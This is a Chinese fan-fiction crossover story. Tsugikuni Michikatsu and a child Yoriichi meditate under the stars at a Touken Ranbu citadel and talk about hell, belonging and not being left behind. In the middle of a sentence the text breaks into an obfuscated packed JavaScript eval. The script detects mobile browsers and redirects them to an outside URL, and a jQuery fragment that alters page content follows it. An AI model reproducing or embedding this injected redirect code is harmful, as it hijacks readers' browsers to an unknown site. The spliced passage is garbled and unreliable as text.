星见台在本丸最高的那座阁楼顶上。
说是“台”，其实也就是个铺着榻榻米的露天平台，四角立着青竹竿，夏天挂防虫的纱帐，冬天围挡风的草帘。这会儿刚入夜，纱帐还没挂起来，夜风直接吹过来，带着点初秋特有的、半冷不热的潮气。
继国严胜到的时候，平台上已经稀稀拉拉坐了几个人。
烛台切光忠占了个靠边的位置，盘腿坐着，闭着眼，表情平静得像在厨房等汤烧开。大俱利伽罗在他旁边，背挺得笔直，眼睛倒是睁着，盯着远处某片夜空，不知道在看什么。还有几个短刀——秋田、前田和五虎退——挤在一块儿，膝盖碰着膝盖，小声说着话。
“严胜先生。”烛台切听见脚步声，睁开眼点了下头，“今晚轮到你？”
“嗯。”严胜应了一声，走到平台中央的空位坐下。虚哭神去放在身侧，裹刀的布在星光下显得颜色很深。
星见台的冥想活动是审神者定的规矩：每周一次，灵魂基底有暗伤或者情绪波动大的刀剑轮流上来，对着星空坐两个钟头。美其名曰“吸收星辰精华稳定灵基”，严胜私底下觉得这说法跟“多喝热水”差不多水平——没什么实际用处，但好像也没什么坏处。
他刚调整好坐姿，楼梯那边又传来脚步声。
缘一上来了。
孩童今天穿了件浅色的浴衣，袖子有点长，手腕都藏在里面。他走到严胜旁边，安静地坐下，中间隔了大概一个人的距离。五虎退看见他，远远地挥了挥手，缘一愣了下，也抬起手，动作有点笨拙地晃了晃。
“人齐了？”烛台切问。
“齐了。”大俱利伽罗说，声音没什么起伏，“可以开始了。”
平台安静下来。
严胜闭上眼。耳边只剩下风声，还有远处本丸院子里偶尔传来的、模糊的笑语声。他试着按照审神者教的方法调整呼吸——吸气，数到四，停住，数到七，呼气，数到八。
吸，四。
停，七。
呼，八。
重复到第三轮的时候，他感觉有人在看他。
睁开眼，缘一正侧着头，那双眼睛在夜色里显得格外亮。孩童见他看过来，也不躲，就这么直直地看着，表情是那种惯常的、近乎空白的专注。
他重新闭上眼，这次数呼吸数到了第十轮。
---
一个小时后，烛台切和大俱利伽罗先下了楼。短刀们又坐了会儿，秋田打了个哈欠，前田揉了揉眼睛，五虎退抱着膝盖快睡着了。最后三个人互相搀扶着，摇摇晃晃地下了楼梯。
平台上只剩下严胜和缘一。
风大了些，吹得角落竹竿上挂的风铃叮叮当当响。严胜睁开眼，发现缘一还保持着原来的姿势坐着，背挺得笔直，眼睛望着星空，一眨不眨。
“不困？”他问。
缘一摇头。
严胜没再说话。他仰起头，看向夜空。今晚天气好，星星很多，密密麻麻地铺满了整片天幕。远处本丸的灯火在夜色里晕开一团团暖黄的光，像地面上的星。
他忽然想起四百年前的事。
不是具体的场景，只是一种感觉——那种夜里握着刀、站在高处、看着脚下城池的感觉。那时候的夜空好像也是这么多星，但风是冷的，呼吸是带着血腥味的，心里塞满了说不清是嫉妒还是绝望的东西。
而现在。
风是潮的，带着泥土和青草的气味。呼吸是平缓的，胸口没有那种被什么东西攥紧的窒息感。身边坐着个孩童，安安静静的，偶尔会因为坐久了不舒服而小幅度地挪一下位置。
“我死后，”严胜忽然开口，声音在夜色里听起来有点哑，“本该下地狱。”
缘一转过头看他。
“杀人，吃人，背叛武士道，变成鬼。”严胜继续说，眼睛还看着星空，“每一条都够下地狱十次。所以我往下掉的时候，没觉得意外——那才是我该去的地方。”
他停顿了一下。
“然后被截停了。掉到这里。”
缘一眨了下眼。
“这里有马。”严胜说，语速很慢，像在回忆什么，“棕褐色的那匹叫小云雀，刷毛的时候会打喷嚏。有剑——虽然大部分时间用来砍柴和打扫。有烟花，夏天祭典的时候放的，颜色很吵。”
他侧过头，看向缘一。
“还有你的笛声。”
缘一低下头，看着自己的手。孩童的手指蜷了蜷，像在回忆握笛子的感觉。
“我……”他开口，又停住，过了几秒才说，“只会一个音。”
“嗯。”严胜应了一声，“就那个音。”
风铃又响了一阵。远处传来鹤丸国永的笑声，大概又在恶作剧，接着是三日月宗近那句标志性的“哈哈哈”。
严胜看着缘一的侧脸。孩童的轮廓在星光下很柔和，睫毛很长，在脸颊上投下浅浅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973481|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的阴影。
“你喜欢这里吗。”他问。
缘一点头。动作很用力，头发都跟着晃了晃。
“为什么。”
“因为兄长在。”缘一说，声音不大，但每个字都咬得很清楚。
严胜感觉胸口那个地方——就是刚才缘一指的位置——好像被什么东西轻轻撞了一下。不痛，但有点闷。
他移开视线，重新看向夜空。
“如果有一天，”他说，“我必须离开这里。”
话没说完。衣袖被抓住了。
缘一的手很小，手指细，但攥得很紧。孩童抓着他的衣袖，眼睛直直地看着他，那双总是清澈得过分的眼睛里，第一次闪过一种近乎固执的情绪。
“我会跟着。”缘一说，“像上次一样。”
严胜知道他说的是哪次——坠落途中，缘一的灵魂本能地抓住他的衣角，跟着一起被扯进这个本丸。
他沉默了很久。久到缘一的手指都因为用力而微微发白，久到远处的笑声停了，风铃也不响了，整个平台安静得只剩下两个人的呼吸声。
然后他伸出手，不是去掰开缘一的手指，而是覆在那只小手上，很轻地拍了一下。
“……别跟丢。”他说。
声音低得几乎听不见。
缘一呆住了。他看看严胜的手，又看看严胜的脸，表情从固执变成困惑，再变成某种更柔软的东西。他松开了攥着衣袖的手，但没完全收回去，指尖还碰着严胜的袖口。
严胜收回手，站起身。虚哭神去拎起来，裹刀的布在夜风里微微飘动。
“该下去了。”他说。
缘一跟着站起来。孩童走到楼梯口时，又回头看了一眼夜空，然后小跑两步，跟上严胜的脚步。
下楼的时候，严胜走在前面，缘一跟在后面。两个人的影子被楼梯间的灯光拉长，在墙壁上交叠又分开。
走到二层转角时，严胜忽然停下脚步。
缘一也跟着停下，仰头看他。
严胜转过身，抬起手，动作有些生涩地、很快地、在缘一头顶轻轻拍了一下。
然后收回手，继续往下走，没回头。
缘一站在原地，抬起手摸了摸刚才被拍到的地方。星光从楼梯间的小窗漏进来，落在他脸上，孩童的表情在光影里显得有点茫然，又好像不只是茫然。
他站了大概十秒钟，然后放下手，快步追了下去。